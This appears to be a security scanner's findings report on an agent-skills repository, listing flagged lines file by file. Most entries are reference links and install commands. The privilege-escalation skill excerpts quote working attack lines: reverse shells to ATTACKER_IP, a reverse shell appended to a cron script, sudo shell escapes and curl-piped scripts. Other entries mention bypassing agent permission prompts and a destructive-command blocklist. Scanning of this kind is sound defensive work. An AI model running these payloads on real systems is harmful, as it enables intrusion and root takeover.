skills/lint-and-validate/scripts/type_coverage.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/linux-privilege-escalation/SKILL.md
- Dangerous shell operationline 3
description: "This skill should be used when the user asks to \"escalate privileges on Linux\", \"find privesc vectors on Linux systems\", \"exploit sudo misconfigurations\", \"abuse SUID binaries\", \"ex..." - Dangerous shell operationline 15
Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This ski - Network accessline 34
- GTFOBins reference for binary exploitation - John the Ripper or Hashcat for password cracking - Netcat or similar for reverse shells - Network accessline 36
- Netcat or similar for reverse shells - Network accessline 145
# LinPEAS curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh - Dangerous shell operationline 146
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh - Network accessline 146
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh - Network accessline 164
# On target machine wget http://ATTACKER_IP:8000/linpeas.sh - Network accessline 165
wget http://ATTACKER_IP:8000/linpeas.sh - Network accessline 200
# Transfer exploit source wget http://ATTACKER_IP/exploit.c - Network accessline 201
wget http://ATTACKER_IP/exploit.c - Dangerous shell operationline 210
### Phase 4: Sudo Exploitation - Dangerous shell operationline 212
#### Enumerate Sudo Privileges - Dangerous shell operationline 215
sudo -l - Dangerous shell operationline 218
#### GTFOBins Sudo Exploitation - Network accessline 218
#### GTFOBins Sudo Exploitation Reference https://gtfobins.github.io for exploitation commands: - Network accessline 219
Reference https://gtfobins.github.io for exploitation commands: - Dangerous shell operationline 223
sudo vim -c ':!/bin/bash' - Dangerous shell operationline 226
sudo find . -exec /bin/sh \; -quit - Dangerous shell operationline 229
sudo awk 'BEGIN {system("/bin/bash")}' - Dangerous shell operationline 232
sudo python -c 'import os; os.system("/bin/bash")' - Dangerous shell operationline 235
sudo less /etc/passwd - Dangerous shell operationline 261
sudo LD_PRELOAD=/tmp/shell.so find - Network accessline 354
# Identify writable cron script from /etc/crontab ls -la /opt/backup.sh # Check permissions echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh - Dangerous shell operationline 356
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh - Network accessline 356
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh - Network accessline 358
# If cron references non-existent script in writable PATH echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh - Dangerous shell operationline 359
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh - Network accessline 359
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh - Dangerous shell operationline 402
| Sudo rights | `sudo -l` | - Network accessline 411
# Bash bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 - Dangerous shell operationline 412
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 - Network accessline 412
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 - Network accessline 414
# Python python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' - Network accessline 415
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' - Network accessline 417
# Netcat nc -e /bin/bash ATTACKER_IP 4444 - Dangerous shell operationline 418
nc -e /bin/bash ATTACKER_IP 4444 - Network accessline 418
nc -e /bin/bash ATTACKER_IP 4444 - Dangerous shell operationline 421
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");' - Network accessline 424
### Key Resources - GTFOBins: https://gtfobins.github.io - Network accessline 425
- GTFOBins: https://gtfobins.github.io - Network accessline 426
- LinPEAS: https://github.com/carlospolop/PEASS-ng - Network accessline 427
- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester - Dangerous shell operationline 441
- Hardened systems may have restricted sudo configurations - Dangerous shell operationline 451
### Example 1: Sudo to Root via find - Dangerous shell operationline 453
**Scenario**: User has sudo rights for find command - Dangerous shell operationline 456
$ sudo -l - Dangerous shell operationline 460
$ sudo find . -exec /bin/bash \; -quit
skills/linux-shell-scripting/SKILL.md
- Dangerous shell operationline 71
rm -r "$backup_dir/$oldest_backup" - Network accessline 290
#!/bin/bash websites=("https://google.com" "https://github.com") - Network accessline 291
websites=("https://google.com" "https://github.com") - Network accessline 296
for website in "${websites[@]}"; do if curl --output /dev/null --silent --head --fail --max-time 10 "$website"; then - Network accessline 297
if curl --output /dev/null --silent --head --fail --max-time 10 "$website"; then - Dangerous shell operationline 331
sudo apt-get install -y "$package" - Dangerous shell operationline 358
sudo systemctl restart "$service_name" - Dangerous shell operationline 362
sudo systemctl start "$service_name" - Dangerous shell operationline 389
find "$directory" -type f -mtime +"$days" -exec rm -v {} \; - Dangerous shell operationline 505
- Many scripts require root/sudo privileges
skills/llm-app-patterns/SKILL.md
- Network accessline 10
> Production-ready patterns for building LLM applications, inspired by [Dify](https://github.com/langgenius/dify) and industry best practices. - Network accessline 759
- [Dify Platform](https://github.com/langgenius/dify) - Network accessline 760
- [LangChain Docs](https://python.langchain.com/) - Network accessline 761
- [LlamaIndex](https://www.llamaindex.ai/) - Network accessline 762
- [Anthropic Cookbook](https://github.com/anthropics/anthropic-cookbook)
skills/loki-mode/.github/workflows/claude-code-review.yml
skills/loki-mode/.github/workflows/claude.yml
- Network accessline 46
# Optional: Add claude_args to customize behavior and configuration # See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md - Network accessline 47
# See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md - Network accessline 48
# or https://code.claude.com/docs/en/cli-reference for available options
skills/loki-mode/ACKNOWLEDGEMENTS.md
- Network accessline 13
| Paper/Resource | Contribution to Loki Mode | |----------------|---------------------------| | [Constitutional AI: Harmlessness from AI Feedback](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback) | Self-cr - Network accessline 14
|----------------|---------------------------| | [Constitutional AI: Harmlessness from AI Feedback](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback) | Self-critique against principles, revision workflow | - Network accessline 15
| [Constitutional AI: Harmlessness from AI Feedback](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback) | Self-critique against principles, revision workflow | - Network accessline 16
| [Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) | Evaluator-optimizer pattern, parallelization, routing | - Network accessline 17
| [Claude Code Best Practices](https://www.anthropic.com/engineering/claude-code-best-practices) | Explore-Plan-Code workflow, context management | - Network accessline 18
| [Simple Probes Can Catch Sleeper Agents](https://www.anthropic.com/research/probes-catch-sleeper-agents) | Defection probes, anomaly detection patterns | - Network accessline 19
| [Alignment Faking in Large Language Models](https://www.anthropic.com/research/alignment-faking) | Monitoring for strategic compliance | - Network accessline 20
| [Visible Extended Thinking](https://www.anthropic.com/research/visible-extended-thinking) | Thinking levels (think, think hard, ultrathink) | - Network accessline 21
| [Computer Use Safety](https://www.anthropic.com/news/3-5-models-and-computer-use) | Safe autonomous operation patterns | - Network accessline 22
| [Sabotage Evaluations](https://www.anthropic.com/research/sabotage-evaluations-for-frontier-models) | Safety evaluation methodology | - Network accessline 23
| [Effective Harnesses for Long-Running Agents](https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents) | One-feature-at-a-time pattern, Playwright MCP for E2E | - Network accessline 24
| [Claude Agent SDK Overview](https://platform.claude.com/docs/en/agent-sdk/overview) | Task tool, subagents, resume parameter, hooks | - Network accessline 30
| Paper/Resource | Contribution to Loki Mode | |----------------|---------------------------| | [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/) | Self- - Network accessline 31
|----------------|---------------------------| | [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/) | Self-improvement loop, reward model training | | [Ge - Network accessline 32
| [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/) | Self-improvement loop, reward model training | - Network accessline 33
| [Gemini Robotics 1.5](https://deepmind.google/blog/gemini-robotics-15-brings-ai-agents-into-the-physical-world/) | Hierarchical reasoning (planner + executor) | - Network accessline 34
| [Dreamer 4: World Model Training](https://danijar.com/project/dreamer4/) | Simulation-first testing, safe exploration | - Network accessline 35
| [Genie 3: World Models](https://deepmind.google/blog/genie-3-a-new-frontier-for-world-models/) | World model architecture patterns | - Network accessline 36
| [Scalable AI Safety via Doubly-Efficient Debate](https://deepmind.google/research/publications/34920/) | Debate-based verification for critical changes | - Network accessline 37
| [Human-AI Complementarity for Amplified Oversight](https://deepmindsafetyresearch.medium.com/human-ai-complementarity-a-goal-for-amplified-oversight-0ad8a44cae0a) | AI-assisted human supervision | - Network accessline 38
| [Technical AGI Safety Approach](https://arxiv.org/html/2504.01849v1) | Safety-first agent design | - Network accessline 44
| Paper/Resource | Contribution to Loki Mode | |----------------|---------------------------| | [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) | Tracing spans, guardrails, tripwires | - Network accessline 45
|----------------|---------------------------| | [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) | Tracing spans, guardrails, tripwires | | [A Practical Guide to Building Agents](https://cdn.openai.com/business-gu - Network accessline 46
| [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) | Tracing spans, guardrails, tripwires | - Network accessline 47
| [A Practical Guide to Building Agents](https://cdn.openai.com/business-guides-and-resources/a-practical-guide-to-building-agents.pdf) | Agent architecture best practices | - Network accessline 48
| [Building Agents Track](https://developers.openai.com/tracks/building-agents/) | Development patterns, handoff callbacks | - Network accessline 49
| [AGENTS.md Specification](https://agents.md/) | Standardized agent instructions | - Network accessline 50
| [Introducing Deep Research](https://openai.com/index/introducing-deep-research/) | Adaptive planning, backtracking | - Network accessline 51
| [Deep Research System Card](https://cdn.openai.com/deep-research-system-card.pdf) | Safety considerations for research agents | - Network accessline 52
| [Introducing o3 and o4-mini](https://openai.com/index/introducing-o3-and-o4-mini/) | Reasoning model guidance | - Network accessline 53
| [Reasoning Best Practices](https://platform.openai.com/docs/guides/reasoning-best-practices) | Extended thinking patterns | - Network accessline 54
| [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) | Reasoning trace monitoring | - Network accessline 55
| [Agent Builder Safety](https://platform.openai.com/docs/guides/agent-builder-safety) | Safety patterns for agent builders | - Network accessline 56
| [Computer-Using Agent](https://openai.com/index/computer-using-agent/) | Computer use patterns | - Network accessline 57
| [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/) | Industry standards, interoperability | - Network accessline 63
| Paper/Resource | Contribution to Loki Mode | |----------------|---------------------------| | [Multi-Agent Orchestration Guidance](https://aws.amazon.com/solutions/guidance/multi-agent-orchestration-on-aws/) | Three coordination mechanism - Network accessline 64
|----------------|---------------------------| | [Multi-Agent Orchestration Guidance](https://aws.amazon.com/solutions/guidance/multi-agent-orchestration-on-aws/) | Three coordination mechanisms, architectural patterns | | [Bedrock Multi-Ag - Network accessline 65
| [Multi-Agent Orchestration Guidance](https://aws.amazon.com/solutions/guidance/multi-agent-orchestration-on-aws/) | Three coordination mechanisms, architectural patterns | - Network accessline 66
| [Bedrock Multi-Agent Collaboration](https://docs.aws.amazon.com/bedrock/latest/userguide/agents-multi-agent-collaboration.html) | Supervisor mode, routing mode, 10-agent limit | - Network accessline 67
| [Multi-Agent Collaboration Announcement](https://aws.amazon.com/blogs/aws/introducing-multi-agent-collaboration-capability-for-amazon-bedrock/) | Intent classification, selective context sharing | - Network accessline 68
| [AgentCore for SRE](https://aws.amazon.com/blogs/machine-learning/build-multi-agent-site-reliability-engineering-assistants-with-amazon-bedrock-agentcore/) | Gateway, Memory, Identity, Observability components | - Network accessline 78
| Paper | Authors/Source | Contribution | |-------|----------------|--------------| | [Multi-Agent Collaboration Mechanisms Survey](https://arxiv.org/abs/2501.06322) | arXiv 2501.06322 | Collaboration structures, coopetition | - Network accessline 79
|-------|----------------|--------------| | [Multi-Agent Collaboration Mechanisms Survey](https://arxiv.org/abs/2501.06322) | arXiv 2501.06322 | Collaboration structures, coopetition | | [CONSENSAGENT: Anti-Sycophancy Framework](https://acl - Network accessline 80
| [Multi-Agent Collaboration Mechanisms Survey](https://arxiv.org/abs/2501.06322) | arXiv 2501.06322 | Collaboration structures, coopetition | - Network accessline 81
| [CONSENSAGENT: Anti-Sycophancy Framework](https://aclanthology.org/2025.findings-acl.1141/) | ACL 2025 Findings | Blind review, devil's advocate | - Network accessline 82
| [GoalAct: Hierarchical Execution](https://arxiv.org/abs/2504.16563) | arXiv 2504.16563 | Global planning, skill decomposition | - Network accessline 83
| [A-Mem: Agentic Memory System](https://arxiv.org/html/2502.12110v11) | arXiv 2502.12110 | Zettelkasten-style memory linking | - Network accessline 84
| [Multi-Agent Reflexion (MAR)](https://arxiv.org/html/2512.20845) | arXiv 2512.20845 | Structured debate, persona-based critics | - Network accessline 85
| [Iter-VF: Iterative Verification-First](https://arxiv.org/html/2511.21734v1) | arXiv 2511.21734 | Answer-only verification, Markovian retry | - Network accessline 89
| Paper | Authors/Source | Contribution | |-------|----------------|--------------| | [Assessment Framework for Agentic AI](https://arxiv.org/html/2512.12791v1) | arXiv 2512.12791 | Four-pillar evaluation framework | - Network accessline 90
|-------|----------------|--------------| | [Assessment Framework for Agentic AI](https://arxiv.org/html/2512.12791v1) | arXiv 2512.12791 | Four-pillar evaluation framework | | [Measurement Imbalance in Agentic AI](https://arxiv.org/abs/250 - Network accessline 91
| [Assessment Framework for Agentic AI](https://arxiv.org/html/2512.12791v1) | arXiv 2512.12791 | Four-pillar evaluation framework | - Network accessline 92
| [Measurement Imbalance in Agentic AI](https://arxiv.org/abs/2506.02064) | arXiv 2506.02064 | Multi-dimensional evaluation axes | - Network accessline 93
| [Demo-to-Deployment Gap](https://www.marktechpost.com/2025/12/24/) | Stanford/Harvard | Tool reliability vs tool selection | - Network accessline 101
| Resource | Contribution | |----------|--------------| | [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) | Efficiency metrics, three-reward signal framework, dynamic agent selection | - Network accessline 102
|----------|--------------| | [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) | Efficiency metrics, three-reward signal framework, dynamic agent selection | | [LerianStudio/ring](https://github.com/LerianStudio/ring) | Subag - Network accessline 103
| [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) | Efficiency metrics, three-reward signal framework, dynamic agent selection | - Network accessline 104
| [LerianStudio/ring](https://github.com/LerianStudio/ring) | Subagent-driven-development pattern | - Network accessline 105
| [Awesome Agentic Patterns](https://github.com/nibzard/awesome-agentic-patterns) | 105+ production patterns catalog | - Network accessline 109
| Resource | Contribution | |----------|--------------| | [Maxim AI: Production Multi-Agent Systems](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/) | Correlation IDs, failure handling | - Network accessline 110
|----------|--------------| | [Maxim AI: Production Multi-Agent Systems](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/) | Correlation IDs, failure handling | | [UiPath: Agent Builder Best - Network accessline 111
| [Maxim AI: Production Multi-Agent Systems](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/) | Correlation IDs, failure handling | - Network accessline 112
| [UiPath: Agent Builder Best Practices](https://www.uipath.com/blog/ai/agent-builder-best-practices) | Single-responsibility agents | - Network accessline 113
| [GitHub: Speed Without Control](https://github.blog/) | Static analysis + AI review, guardrails | - Network accessline 123
| Thread | Key Insight | |--------|-------------| | [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207) | "Zero companies without human in the loop" | - Network accessline 124
|--------|-------------| | [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207) | "Zero companies without human in the loop" | | [Coding with LLMs in Summer 2025](https://news.ycombinator. - Network accessline 125
| [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207) | "Zero companies without human in the loop" | - Network accessline 126
| [Coding with LLMs in Summer 2025](https://news.ycombinator.com/item?id=44623953) | Context curation beats automatic RAG | - Network accessline 127
| [Superpowers: How I'm Using Coding Agents](https://news.ycombinator.com/item?id=45547344) | Sub-agents for context isolation (Simon Willison) | - Network accessline 128
| [Claude Code Experience After Two Weeks](https://news.ycombinator.com/item?id=44596472) | Fresh contexts yield better results | - Network accessline 129
| [AI Agent Benchmarks Are Broken](https://news.ycombinator.com/item?id=44531697) | LLM-as-judge has shared blind spots | - Network accessline 130
| [How to Orchestrate Multi-Agent Workflows](https://news.ycombinator.com/item?id=45955997) | Event-driven, decoupled coordination | - Network accessline 131
| [Context Engineering vs Prompt Engineering](https://news.ycombinator.com/item?id=44427757) | Manual context selection principles | - Network accessline 135
| Project | Contribution | |---------|--------------| | [Self-Evolving Agents Repository](https://news.ycombinator.com/item?id=45099226) | Self-improvement patterns | - Network accessline 136
|---------|--------------| | [Self-Evolving Agents Repository](https://news.ycombinator.com/item?id=45099226) | Self-improvement patterns | | [Package Manager for Agent Skills](https://news.ycombinator.com/item?id=46422264) | Skills archite - Network accessline 137
| [Self-Evolving Agents Repository](https://news.ycombinator.com/item?id=45099226) | Self-improvement patterns | - Network accessline 138
| [Package Manager for Agent Skills](https://news.ycombinator.com/item?id=46422264) | Skills architecture | - Network accessline 139
| [Wispbit - AI Code Review Agent](https://news.ycombinator.com/item?id=44722603) | Code review patterns | - Network accessline 140
| [Agtrace - Monitoring for AI Coding Agents](https://news.ycombinator.com/item?id=46425670) | Agent monitoring patterns |
skills/loki-mode/CHANGELOG.md
- Network accessline 5
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), - Network accessline 6
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - Network accessline 12
**External resources analyzed (11 sources):** - [extremeclarity/claude-plugins/worldview](https://github.com/extremeclarity/claude-plugins/tree/master/plugins/worldview) - Context persistence plugin - Network accessline 13
- [extremeclarity/claude-plugins/worldview](https://github.com/extremeclarity/claude-plugins/tree/master/plugins/worldview) - Context persistence plugin - Network accessline 14
- [trails.pieterma.es](https://trails.pieterma.es/) - Context management - Network accessline 15
- [Yeachan-Heo/oh-my-claude-sisyphus](https://github.com/Yeachan-Heo/oh-my-claude-sisyphus) - Multi-agent orchestration - Network accessline 16
- [mihaileric.com - The Emperor Has No Clothes](https://www.mihaileric.com/The-Emperor-Has-No-Clothes/) - AI agent architecture insights - Network accessline 17
- [sawirstudio/effectphp](https://github.com/sawirstudio/effectphp) - Functional effects library - Network accessline 18
- [camel-ai.org/SETA](https://www.camel-ai.org/blogs/seta-scaling-environments-for-terminal-agents) - Terminal agent research - Network accessline 19
- [rush86999/atom](https://github.com/rush86999/atom) - Workflow automation platform - Network accessline 20
- [penberg.org/disaggregated-agentfs](https://penberg.org/blog/disaggregated-agentfs.html) - Storage architecture - Network accessline 21
- [onmax/npm-agentskills](https://github.com/onmax/npm-agentskills) - SKILL.md standard - Network accessline 22
- [xrip/tinycode](https://github.com/xrip/tinycode) - Minimal AI assistant - Network accessline 23
- [akz4ol/agentlint](https://github.com/akz4ol/agentlint) - Agent security scanner - Network accessline 55
**Sources:** - [Effective Harnesses for Long-Running Agents](https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents) - Anthropic Engineering - Network accessline 56
- [Effective Harnesses for Long-Running Agents](https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents) - Anthropic Engineering - Network accessline 57
- [Claude Agent SDK Overview](https://platform.claude.com/docs/en/agent-sdk/overview) - Anthropic Platform - Network accessline 87
**Source:** [AWS Multi-Agent Orchestration Guidance](https://aws.amazon.com/solutions/guidance/multi-agent-orchestration-on-aws/) - Network accessline 146
**Sources analyzed:** - [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207) - Network accessline 147
- [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207) - Network accessline 148
- [Coding with LLMs in Summer 2025](https://news.ycombinator.com/item?id=44623953) - Network accessline 149
- [Superpowers: How I'm Using Coding Agents](https://news.ycombinator.com/item?id=45547344) - Network accessline 150
- [Claude Code Experience After Two Weeks](https://news.ycombinator.com/item?id=44596472) - Network accessline 151
- [AI Agent Benchmarks Are Broken](https://news.ycombinator.com/item?id=44531697) - Network accessline 152
- [How to Orchestrate Multi-Agent Workflows](https://news.ycombinator.com/item?id=45955997) - Network accessline 201
**Google DeepMind:** - [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/) - Network accessline 202
- [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/) - Network accessline 203
- [Gemini Robotics 1.5](https://deepmind.google/blog/gemini-robotics-15-brings-ai-agents-into-the-physical-world/) - Network accessline 204
- [Dreamer 4: World Model Training](https://danijar.com/project/dreamer4/) - Network accessline 205
- [Scalable AI Safety via Debate](https://deepmind.google/research/publications/34920/) - Network accessline 206
- [Amplified Oversight](https://deepmindsafetyresearch.medium.com/human-ai-complementarity-a-goal-for-amplified-oversight-0ad8a44cae0a) - Network accessline 207
- [Technical AGI Safety Approach](https://arxiv.org/html/2504.01849v1) - Network accessline 209
**Anthropic:** - [Constitutional AI](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback) - Network accessline 210
- [Constitutional AI](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback) - Network accessline 211
- [Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) - Network accessline 212
- [Claude Code Best Practices](https://www.anthropic.com/engineering/claude-code-best-practices) - Network accessline 213
- [Sleeper Agents Detection](https://www.anthropic.com/research/probes-catch-sleeper-agents) - Network accessline 214
- [Alignment Faking](https://www.anthropic.com/research/alignment-faking) - Network accessline 260
**Research sources analyzed:** - [OpenAI Agents SDK](https://openai.github.io/openai-agents-python/) - Core primitives - Network accessline 261
- [OpenAI Agents SDK](https://openai.github.io/openai-agents-python/) - Core primitives - Network accessline 262
- [Practical Guide to Building Agents](https://cdn.openai.com/business-guides-and-resources/a-practical-guide-to-building-agents.pdf) - Network accessline 263
- [Building Agents Track](https://developers.openai.com/tracks/building-agents/) - Network accessline 264
- [AGENTS.md Specification](https://agents.md/) - Network accessline 265
- [Deep Research System Card](https://cdn.openai.com/deep-research-system-card.pdf) - Network accessline 266
- [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) - Network accessline 267
- [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/) - Network accessline 326
**Research sources analyzed (15+ papers/guides):** - [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) - Network accessline 327
- [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) - Network accessline 328
- [Stanford/Harvard: Demo-to-Deployment Gap](https://www.marktechpost.com/2025/12/24/) - Network accessline 329
- [Maxim AI: Production Multi-Agent Systems](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/) - Network accessline 330
- [UiPath: Agent Builder Best Practices](https://www.uipath.com/blog/ai/agent-builder-best-practices) - Network accessline 331
- [Assessment Framework for Agentic AI (arXiv 2512.12791)](https://arxiv.org/html/2512.12791v1) - Network accessline 332
- [Measurement Imbalance in Agentic AI (arXiv 2506.02064)](https://arxiv.org/abs/2506.02064) - Network accessline 374
**Research source analyzed:** - [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) - #1 on GAIA benchmark, 37.1% on HLE - Network accessline 375
- [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) - #1 on GAIA benchmark, 37.1% on HLE - Network accessline 445
**Research sources analyzed:** - [Awesome Agentic Patterns](https://github.com/nibzard/awesome-agentic-patterns) - 105 production patterns - Network accessline 446
- [Awesome Agentic Patterns](https://github.com/nibzard/awesome-agentic-patterns) - 105 production patterns - Network accessline 447
- [Multi-Agent Collaboration Mechanisms Survey](https://arxiv.org/abs/2501.06322) - Network accessline 448
- [CONSENSAGENT Anti-Sycophancy Framework](https://aclanthology.org/2025.findings-acl.1141/) - Network accessline 449
- [GoalAct Hierarchical Planning](https://arxiv.org/abs/2504.16563) - Network accessline 450
- [A-Mem/MIRIX Memory Systems](https://arxiv.org/html/2502.12110v11) - Network accessline 451
- [Multi-Agent Reflexion (MAR)](https://arxiv.org/html/2512.20845) - Network accessline 452
- [Iter-VF Verification](https://arxiv.org/html/2511.21734v1) - Instruction override signalline 704
- **Enterprise Security Defaults** - All enterprise features now OFF by default - `LOKI_AUDIT_LOG` changed from `true` to `false` - Ensures Loki Mode works exactly as before with `--dangerously-skip-permissions` - Instruction override signalline 705
- `LOKI_AUDIT_LOG` changed from `true` to `false` - Ensures Loki Mode works exactly as before with `--dangerously-skip-permissions` - Enterprise features are opt-in, not forced - Instruction override signalline 706
- Ensures Loki Mode works exactly as before with `--dangerously-skip-permissions` - Dangerous shell operationline 737
- Default blocks: `rm -rf /`, `dd if=`, `mkfs`, fork bomb - Instruction override signalline 781
|------------|--------|-------| | Published Benchmarks | None | HumanEval + SWE-bench infrastructure | | Enterprise Security | `--dangerously-skip-permissions` | Staged autonomy, audit logs, command blocking | - Instruction override signalline 782
| Published Benchmarks | None | HumanEval + SWE-bench infrastructure | | Enterprise Security | `--dangerously-skip-permissions` | Staged autonomy, audit logs, command blocking | | Cross-Project Learning | None | Global learnings database | - Instruction override signalline 783
| Enterprise Security | `--dangerously-skip-permissions` | Staged autonomy, audit logs, command blocking | - Network accessline 1591
- **Web Dashboard** - Visual task board with Anthropic design language - Cream/beige background with coral (#D97757) accents matching Anthropic branding - Auto-starts at `http://127.0.0.1:57374` and opens in browser - Network accessline 1592
- Cream/beige background with coral (#D97757) accents matching Anthropic branding - Auto-starts at `http://127.0.0.1:57374` and opens in browser - Shows task counts and Kanban-style columns (Pending, In Progress, Completed, Failed) - Network accessline 1593
- Auto-starts at `http://127.0.0.1:57374` and opens in browser - Network accessline 1653
- Phase-to-column mapping for visual progress tracking - Metadata preservation for debugging - See [BloopAI/vibe-kanban](https://github.com/BloopAI/vibe-kanban) - Network accessline 1655
- See [BloopAI/vibe-kanban](https://github.com/BloopAI/vibe-kanban) - Network accessline 1703
- Option 1: Download from GitHub Releases (recommended) - Option 2: Git clone - Option 3: Minimal install with curl commands - Network accessline 1704
- Option 2: Git clone - Option 3: Minimal install with curl commands - Verification steps - Network accessline 1705
- Option 3: Minimal install with curl commands - Network accessline 1812
[2.4.0]: https://github.com/asklokesh/loki-mode/compare/v2.3.0...v2.4.0 - Network accessline 1813
[2.3.0]: https://github.com/asklokesh/loki-mode/compare/v2.2.0...v2.3.0 - Network accessline 1814
[2.2.0]: https://github.com/asklokesh/loki-mode/compare/v2.1.0...v2.2.0 - Network accessline 1815
[2.1.0]: https://github.com/asklokesh/loki-mode/compare/v2.0.3...v2.1.0 - Network accessline 1816
[2.0.3]: https://github.com/asklokesh/loki-mode/compare/v2.0.2...v2.0.3 - Network accessline 1817
[2.0.2]: https://github.com/asklokesh/loki-mode/compare/v2.0.1...v2.0.2 - Network accessline 1818
[2.0.1]: https://github.com/asklokesh/loki-mode/compare/v2.0.0...v2.0.1 - Network accessline 1819
[2.0.0]: https://github.com/asklokesh/loki-mode/compare/v1.1.0...v2.0.0 - Network accessline 1820
[1.1.0]: https://github.com/asklokesh/loki-mode/compare/v1.0.1...v1.1.0 - Network accessline 1821
[1.0.1]: https://github.com/asklokesh/loki-mode/compare/v1.0.0...v1.0.1 - Network accessline 1822
[1.0.0]: https://github.com/asklokesh/loki-mode/releases/tag/v1.0.0
skills/loki-mode/CLAUDE.md
skills/loki-mode/CONTEXT-EXPORT.md
- Network accessline 3
**Date:** 2025-12-28 **Version:** 2.5.0 **Repository:** https://github.com/asklokesh/loki-mode - Network accessline 5
**Repository:** https://github.com/asklokesh/loki-mode - Instruction override signalline 93
echo "$prompt" | claude --dangerously-skip-permissions - Instruction override signalline 133
**Solution:** Use stdin pipe: `echo "$prompt" | claude --dangerously-skip-permissions`
skills/loki-mode/INSTALLATION.md
- Network accessline 23
# Clone to your skills directory git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode - Network accessline 24
git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode - Network accessline 39
git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode - Network accessline 47
# Clone to local skills directory git clone https://github.com/asklokesh/loki-mode.git .claude/skills/loki-mode - Network accessline 48
git clone https://github.com/asklokesh/loki-mode.git .claude/skills/loki-mode - Network accessline 57
# Get latest version number VERSION=$(curl -s https://api.github.com/repos/asklokesh/loki-mode/releases/latest | grep tag_name | cut -d'"' -f4 | tr -d 'v') - Network accessline 58
VERSION=$(curl -s https://api.github.com/repos/asklokesh/loki-mode/releases/latest | grep tag_name | cut -d'"' -f4 | tr -d 'v') - Network accessline 60
